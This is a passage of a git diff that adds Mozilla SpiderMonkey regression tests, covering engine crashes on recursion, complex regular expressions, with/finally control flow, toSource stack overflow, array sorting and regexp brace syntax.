+ const r = o[k].call("foo\0bar", "baz\0faz");
+ assertStringIncludes(r, "bar");
+ assertStringIncludes(r, "faz");
+}
+
+// js/src/tests/browser.js provides its own |options| function, make sure we don't test that one.
+if (this.options && typeof document === "undefined") {
+ assertErrorMessageIncludes(() => options("foo\0bar"), "bar");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/recursion.js b/js/src/tests/non262/extensions/recursion.js
new file mode 100644
index 0000000000..0869b90a6a
--- /dev/null
+++ b/js/src/tests/non262/extensions/recursion.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Christian Holler <decoder@own-hero.net>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 622167;
+var summary = 'Handle infinite recursion';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function eval() { eval(); }
+
+function DoWhile_3()
+{
+ eval();
+}
+
+try
+{
+ DoWhile_3();
+}
+catch(e) { }
+
+var r;
+function* f()
+{
+ r = arguments;
+ test();
+ yield 170;
+}
+
+function test()
+{
+ function foopy()
+ {
+ try
+ {
+ for (var i of f());
+ }
+ catch (e)
+ {
+ gc();
+ }
+ }
+ foopy();
+}
+test();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/redeclaration-of-catch-warning.js b/js/src/tests/non262/extensions/redeclaration-of-catch-warning.js
new file mode 100644
index 0000000000..efdfc0ef98
--- /dev/null
+++ b/js/src/tests/non262/extensions/redeclaration-of-catch-warning.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!xulRuntime.shell)
+//
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 622646;
+var summary = "Shadowing an exception identifier in a catch block with a " +
+ "|const| or |let| declaration should throw an error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertRedeclarationErrorThrown(expression)
+{
+ "use strict";
+
+ try
+ {
+ evaluate(expression);
+ throw new Error("Redeclaration error wasn't thrown");
+ }
+ catch(e)
+ {
+ assertEq(e.message.indexOf("catch") > 0, true,
+ "wrong error, got " + e.message);
+ }
+}
+
+assertRedeclarationErrorThrown("try {} catch(e) { const e = undefined; }");
+assertRedeclarationErrorThrown("try {} catch(e) { let e; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js b/js/src/tests/non262/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js
new file mode 100644
index 0000000000..0ec0b493e4
--- /dev/null
+++ b/js/src/tests/non262/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs gc (newGlobal/evaluate are shimmed)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile =
+ "reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1253099;
+var summary =
+ "Don't assert when, in |new RegExp(pat)|, stringifying |pat| creates " +
+ "another RegExp and then performs a GC";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// The fresh global object is required to ensure that the outer |new RegExp|
+// is the first RegExp created in the global (other than RegExp.prototype).
+newGlobal().evaluate(`
+var createsRegExpAndCallsGCWhenStringified =
+ {
+ toString: function() {
+ new RegExp("a");
+ gc();
+ return "q";
+ }
+ };
+
+assertEq(new RegExp(createsRegExpAndCallsGCWhenStringified).source, "q");
+`);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/regress-103087.js b/js/src/tests/non262/extensions/regress-103087.js
new file mode 100644
index 0000000000..9a305827e0
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-103087.js
@@ -0,0 +1,141 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 04 October 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 103087:
+ * "The RegExp MarkupSPE in demo crashes Mozilla"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=103087
+ * The SpiderMonkey shell crashed on some of these regexps.
+ *
+ * The reported crash was on i=24 below ('MarkupSPE' regexp)
+ * I crashed on that, and also on i=43 ('XML_SPE' regexp)
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 103087;
+var summary = "Testing that we don't crash on any of these regexps -";
+var re = '';
+var lm = '';
+var lc = '';
+var rc = '';
+
+
+// the regexps are built in pieces -
+var NameStrt = "[A-Za-z_:]|[^\\x00-\\x7F]";
+var NameChar = "[A-Za-z0-9_:.-]|[^\\x00-\\x7F]";
+var Name = "(" + NameStrt + ")(" + NameChar + ")*";
+var TextSE = "[^<]+";
+var UntilHyphen = "[^-]*-";
+var Until2Hyphens = UntilHyphen + "([^-]" + UntilHyphen + ")*-";
+var CommentCE = Until2Hyphens + ">?";
+var UntilRSBs = "[^]]*]([^]]+])*]+";
+var CDATA_CE = UntilRSBs + "([^]>]" + UntilRSBs + ")*>";
+var S = "[ \\n\\t\\r]+";
+var QuoteSE = '"[^"]' + "*" + '"' + "|'[^']*'";
+var DT_IdentSE = S + Name + "(" + S + "(" + Name + "|" + QuoteSE + "))*";
+var MarkupDeclCE = "([^]\"'><]+|" + QuoteSE + ")*>";
+var S1 = "[\\n\\r\\t ]";
+var UntilQMs = "[^?]*\\?+";
+var PI_Tail = "\\?>|" + S1 + UntilQMs + "([^>?]" + UntilQMs + ")*>";
+var DT_ItemSE = "<(!(--" + Until2Hyphens + ">|[^-]" + MarkupDeclCE + ")|\\?" + Name + "(" + PI_Tail + "))|%" + Name + ";|" + S;
+var DocTypeCE = DT_IdentSE + "(" + S + ")?(\\[(" + DT_ItemSE + ")*](" + S + ")?)?>?";
+var DeclCE = "--(" + CommentCE + ")?|\\[CDATA\\[(" + CDATA_CE + ")?|DOCTYPE(" + DocTypeCE + ")?";
+var PI_CE = Name + "(" + PI_Tail + ")?";
+var EndTagCE = Name + "(" + S + ")?>?";
+var AttValSE = '"[^<"]' + "*" + '"' + "|'[^<']*'";
+var ElemTagCE = Name + "(" + S + Name + "(" + S + ")?=(" + S + ")?(" + AttValSE + "))*(" + S + ")?/?>?";
+var MarkupSPE = "<(!(" + DeclCE + ")?|\\?(" + PI_CE + ")?|/(" + EndTagCE + ")?|(" + ElemTagCE + ")?)";
+var XML_SPE = TextSE + "|" + MarkupSPE;
+var CommentRE = "<!--" + Until2Hyphens + ">";
+var CommentSPE = "<!--(" + CommentCE + ")?";
+var PI_RE = "<\\?" + Name + "(" + PI_Tail + ")";
+var Erroneous_PI_SE = "<\\?[^?]*(\\?[^>]+)*\\?>";
+var PI_SPE = "<\\?(" + PI_CE + ")?";
+var CDATA_RE = "<!\\[CDATA\\[" + CDATA_CE;
+var CDATA_SPE = "<!\\[CDATA\\[(" + CDATA_CE + ")?";
+var ElemTagSE = "<(" + NameStrt + ")([^<>\"']+|" + AttValSE + ")*>";
+var ElemTagRE = "<" + Name + "(" + S + Name + "(" + S + ")?=(" + S + ")?(" + AttValSE + "))*(" + S + ")?/?>";
+var ElemTagSPE = "<" + ElemTagCE;
+var EndTagRE = "</" + Name + "(" + S + ")?>";
+var EndTagSPE = "</(" + EndTagCE + ")?";
+var DocTypeSPE = "<!DOCTYPE(" + DocTypeCE + ")?";
+var PERef_APE = "%(" + Name + ";?)?";
+var HexPart = "x([0-9a-fA-F]+;?)?";
+var NumPart = "#([0-9]+;?|" + HexPart + ")?";
+var CGRef_APE = "&(" + Name + ";?|" + NumPart + ")?";
+var Text_PE = CGRef_APE + "|[^&]+";
+var EntityValue_PE = CGRef_APE + "|" + PERef_APE + "|[^%&]+";
+
+
+var rePatterns = new Array(AttValSE, CDATA_CE, CDATA_RE, CDATA_SPE, CGRef_APE, CommentCE, CommentRE, CommentSPE, DT_IdentSE, DT_ItemSE, DeclCE, DocTypeCE, DocTypeSPE, ElemTagCE, ElemTagRE, ElemTagSE, ElemTagSPE, EndTagCE, EndTagRE, EndTagSPE, EntityValue_PE, Erroneous_PI_SE, HexPart, MarkupDeclCE, MarkupSPE, Name, NameChar, NameStrt, NumPart, PERef_APE, PI_CE, PI_RE, PI_SPE, PI_Tail, QuoteSE, S, S1, TextSE, Text_PE, Until2Hyphens, UntilHyphen, UntilQMs, UntilRSBs, XML_SPE);
+
+
+// here's a big string to test the regexps on -
+var str = '';
+str += '<html xmlns="http://www.w3.org/1999/xhtml"' + '\n';
+str += ' xmlns:xlink="http://www.w3.org/XML/XLink/0.9">' + '\n';
+str += ' <head><title>Three Namespaces</title></head>' + '\n';
+str += ' <body>' + '\n';
+str += ' <h1 align="center">An Ellipse and a Rectangle</h1>' + '\n';
+str += ' <svg xmlns="http://www.w3.org/Graphics/SVG/SVG-19991203.dtd" ' + '\n';
+str += ' width="12cm" height="10cm">' + '\n';
+str += ' <ellipse rx="110" ry="130" />' + '\n';
+str += ' <rect x="4cm" y="1cm" width="3cm" height="6cm" />' + '\n';
+str += ' </svg>' + '\n';
+str += ' <p xlink:type="simple" xlink:href="ellipses.html">' + '\n';
+str += ' More about ellipses' + '\n';
+str += ' </p>' + '\n';
+str += ' <p xlink:type="simple" xlink:href="rectangles.html">' + '\n';
+str += ' More about rectangles' + '\n';
+str += ' </p>' + '\n';
+str += ' <hr/>' + '\n';
+str += ' <p>Last Modified February 13, 2000</p> ' + '\n';
+str += ' </body>' + '\n';
+str += '</html>';
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<rePatterns.length; i++)
+ {
+ status = inSection(i);
+ re = new RegExp(rePatterns[i]);
+
+ // Test that we don't crash on any of these -
+ re.exec(str);
+ getResults();
+
+ // Just for the heck of it, test the current leftContext
+ re.exec(lc);
+ getResults();
+
+ // Test the current rightContext
+ re.exec(rc);
+ getResults();
+ }
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+function getResults()
+{
+ lm = RegExp.lastMatch;
+ lc = RegExp.leftContext;
+ rc = RegExp.rightContext;
+}
diff --git a/js/src/tests/non262/extensions/regress-104077.js b/js/src/tests/non262/extensions/regress-104077.js
new file mode 100644
index 0000000000..189f0ce903
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-104077.js
@@ -0,0 +1,195 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 October 2001
+ * SUMMARY: Regression test for Bugzilla bug 104077
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104077
+ * "JS crash: with/finally/return"
+ *
+ * Also http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ * "JS crash: try/catch/continue."
+ *
+ * SpiderMonkey crashed on this code - it shouldn't.
+ *
+ * NOTE: the finally-blocks below should execute even if their try-blocks
+ * have return or throw statements in them:
+ *
+ * ------- Additional Comment #76 From Mike Shaver 2001-12-07 01:21 -------
+ * finally trumps return, and all other control-flow constructs that cause
+ * program execution to jump out of the try block: throw, break, etc. Once you
+ * enter a try block, you will execute the finally block after leaving the try,
+ * regardless of what happens to make you leave the try.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104077;
+var summary = "Just testing that we don't crash on with/finally/return -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function addValues_3(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum +=1;
+ print("In finally block of addValues_3() function: sum = " + sum);
+ }
+ catch (e) {
+ if (e != 42)
+ throw e;
+ sum +=1;
+ print('In finally catch block of addValues_3() function: sum = ' + sum + ', e = ' + e);
+ }
+ finally
+ {
+ sum +=1;
+ print("In finally finally block of addValues_3() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(9);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_3(obj);
+expect = 8;
+captureThis();
+
+
+
+
+function addValues_4(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum += 1;
+ print("In finally block of addValues_4() function: sum = " + sum);
+ }
+ catch (e) {
+ if (e == 42) {
+ sum += 1;
+ print("In 1st finally catch block of addValues_4() function: sum = " + sum + ", e = " + e);
+ } else if (e == 43) {
+ sum += 1;
+ print("In 2nd finally catch block of addValues_4() function: sum = " + sum + ", e = " + e);
+ } else {
+ throw e;
+ }
+ }
+ finally
+ {
+ sum += 1;
+ print("In finally finally block of addValues_4() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(10);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_4(obj);
+expect = 8;
+captureThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-178722.js b/js/src/tests/non262/extensions/regress-178722.js
new file mode 100644
index 0000000000..9ec73d3d15
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-178722.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 November 2002
+ * SUMMARY: arr.sort() should not output |undefined| when |arr| is empty
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=178722
+ *
+ * ECMA-262 Ed.3: 15.4.4.11 Array.prototype.sort (comparefn)
+ *
+ * 1. Call the [[Get]] method of this object with argument "length".
+ * 2. Call ToUint32(Result(1)).
+ * 3. Perform an implementation-dependent sequence of calls to the [[Get]],
+ * [[Put]], and [[Delete]] methods of this object, etc. etc.
+ * 4. Return this object.
+ *
+ *
+ * Note that sort() is done in-place on |arr|. In other words, sort() is a
+ * "destructive" method rather than a "functional" method. The return value
+ * of |arr.sort()| and |arr| are the same object.
+ *
+ * If |arr| is an empty array, the return value of |arr.sort()| should be
+ * an empty array, not the value |undefined| as was occurring in bug 178722.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 178722;
+var summary = 'arr.sort() should not output |undefined| when |arr| is empty';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr;
+
+
+// create empty array or pseudo-array objects in various ways
+function f () {return arguments};
+var arr5 = f();
+arr5.__proto__ = Array.prototype;
+
+
+status = inSection(5);
+arr = arr5.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr5;
+expect = true;
+addThis();
+
+
+// now do the same thing, with non-default sorting:
+function g() {return 1;}
+
+status = inSection('5a');
+arr = arr5.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr5;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-188206-01.js b/js/src/tests/non262/extensions/regress-188206-01.js
new file mode 100644
index 0000000000..c54390709b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-188206-01.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Now do some weird things on the left side of the regexps -
+ */
+status = inSection(7);
+testThis(' /*a/ ');
+
+status = inSection(8);
+testThis(' /**a/ ');
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-188206-02.js b/js/src/tests/non262/extensions/regress-188206-02.js
new file mode 100644
index 0000000000..4cf9dd7b30
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-188206-02.js
@@ -0,0 +1,121 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Misusing the {DecmalDigits} quantifier - according to ECMA,
+ * but not according to Perl.
+ *
+ * ECMA-262 Edition 3 prohibits the use of unescaped braces in
+ * regexp patterns, unless they form part of a quantifier.
+ *
+ * Hovever, Perl does not prohibit this. If not used as part
+ * of a quantifer, Perl treats braces literally.
+ *
+ * We decided to follow Perl on this for backward compatibility.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=190685.
+ *
+ * Therefore NONE of the following ECMA violations should generate
+ * a SyntaxError. Note we use checkThis() instead of testThis().
+ */
+status = inSection(13);
+checkThis(' /a*{/ ');
+
+status = inSection(14);
+checkThis(' /a{}/ ');
+
+status = inSection(15);
+checkThis(' /{a/ ');
+
+status = inSection(16);
+checkThis(' /}a/ ');
+
+status = inSection(17);
+checkThis(' /x{abc}/ ');
+
+status = inSection(18);
+checkThis(' /{{0}/ ');
+
+status = inSection(19);
+checkThis(' /{{1}/ ');
+
+status = inSection(20);
+checkThis(' /x{{0}/ ');
+
+status = inSection(21);
+checkThis(' /x{{1}/ ');
+
+status = inSection(22);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(23);
+checkThis(' /x{{1}}/ ');
+
+status = inSection(24);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(25);
+checkThis(' /x{{1}}/ ');
+
+status = inSection(26);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(27);
+checkThis(' /x{{1}}/ ');
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Allowed syntax shouldn't generate any errors
+ */
+function checkThis(sAllowedSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sAllowedSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-192465.js b/js/src/tests/non262/extensions/regress-192465.js
new file mode 100644
index 0000000000..71bfac8dce
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-192465.js
@@ -0,0 +1,122 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 February 2003
+ * SUMMARY: Object.toSource() recursion should check stack overflow
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192465
+ *
+ * MODIFIED: 27 February 2003
+ *
+ * We are adding an early return to this testcase, since it is causing
+ * big problems on Linux RedHat8! For a discussion of this issue, see
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=174341#c24 and following.
+ *
+ *
+ * MODIFIED: 20 March 2003
+ *
+ * Removed the early return and changed |N| below from 1000 to 90.
+ * Note |make_deep_nest(N)| returns an object graph of length N(N+1).
+ * So the graph has now been reduced from 1,001,000 to 8190.
+ *
+ * With this reduction, the bug still manifests on my WinNT and Linux
+ * boxes (crash due to stack overflow). So the testcase is again of use
+ * on those boxes. At the same time, Linux RedHat8 boxes can now run
+ * the test in a reasonable amount of time.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192465;
+var summary = 'Object.toSource() recursion should check stack overflow';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * We're just testing that this script will compile and run.
+ * Set both |actual| and |expect| to a dummy value.
+ */
+status = inSection(1);
+var N = 90;
+try
+{
+ make_deep_nest(N);
+}
+catch (e)
+{
+ // An exception is OK, as the runtime can throw one in response to too deep
+ // recursion. We haven't crashed; good! Continue on to set the dummy values -
+}
+actual = 1;
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+/*
+ * EXAMPLE:
+ *
+ * If the global variable |N| is 2, then for |level| == 0, 1, 2, the return
+ * value of this function will be toSource() of these objects, respectively:
+ *
+ * {next:{next:END}}
+ * {next:{next:{next:{next:END}}}}
+ * {next:{next:{next:{next:{next:{next:END}}}}}}
+ *
+ */
+function make_deep_nest(level)
+{
+ var head = {};
+ var cursor = head;
+
+ for (var i=0; i!=N; ++i)
+ {
+ cursor.next = {};
+ cursor = cursor.next;
+ }
+
+ cursor.toSource = function()
+ {
+ if (level != 0)
+ return make_deep_nest(level - 1);
+ return "END";
+ }
+
+ return head.toSource();
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-220367-002.js b/js/src/tests/non262/extensions/regress-220367-002.js
new file mode 100644
index 0000000000..5948c24eec
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-220367-002.js
@@ -0,0 +1,75 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 September 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220367
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 220367;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var re = /(a)|(b)/;
+
+re.test('a');
+status = inSection(1);
+actual = RegExp.$1;
+expect = 'a';
+addThis();
+
+status = inSection(2);
+actual = RegExp.$2;
+expect = '';
+addThis();
+
+re.test('b');
+status = inSection(3);
+actual = RegExp.$1;
+expect = '';
+addThis();
+
+status = inSection(4);
+actual = RegExp.$2;
+expect = 'b';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-226078.js b/js/src/tests/non262/extensions/regress-226078.js
new file mode 100644
index 0000000000..fe238652ac
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-226078.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 226078;
+var summary = 'Do not Crash @ js_Interpret 3127f864';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function SetLangHead(l){
+ with(p){
+ for(var i in x)
+ if(getElementById("TxtH"+i)!=undefined)
+ printStatus('huh');
+ }
+}
+x=[0,1,2,3];
+p={getElementById: function (id){
+ printStatus(id);
+ if (typeof dis === "function") {
+ dis(SetLangHead);
+ }
+ return undefined;
+}};
+SetLangHead(1);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-228087.js b/js/src/tests/non262/extensions/regress-228087.js
new file mode 100644
index 0000000000..c0b1661752
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-228087.js
@@ -0,0 +1,316 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+/* This Source Code Form is subject to the terms of the Mozilla Public
+* License, v. 2.0. If a copy of the MPL was not distributed with this
+* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 December 2003
+ * SUMMARY: Testing regexps with unescaped braces
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=228087
+ *
+ * Note: unbalanced, unescaped braces are not permitted by ECMA-262 Ed.3,
+ * but we decided to follow Perl and IE and allow this for compatibility.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=188206 and its testcase.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223273 and its testcase.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 228087;
+var summary = 'Testing regexps with unescaped braces';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var e;
+
+
+string = 'foo {1} foo {2} foo';
+
+// try an example with the braces escaped
+status = inSection(1);
+try
+{
+ pattern = new RegExp('\{1.*\}', 'g');
